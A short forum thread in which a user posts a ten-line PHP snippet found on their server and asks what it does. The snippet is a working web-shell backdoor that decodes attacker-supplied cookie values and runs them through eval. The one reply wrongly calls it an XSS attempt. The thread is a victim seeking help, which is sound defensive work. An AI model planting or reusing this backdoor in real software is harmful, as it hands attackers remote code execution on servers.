Please explain this 10 lines code

[ITFreakz]

I found this file on my server today. Could somebody please explain this code?

<?php
$c='count';
$a=$_COOKIE;
if(reset($a)=='12' && $c($a)>3)
{
$k='3456';
echo '<'.$k.'>';
eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));
echo '</'.$k.'>';
}
?>

[Irate]

Are you sure you inserted it there?

It seems a lot like some XSS attempt... you should immediately check your log for any suspicious activities...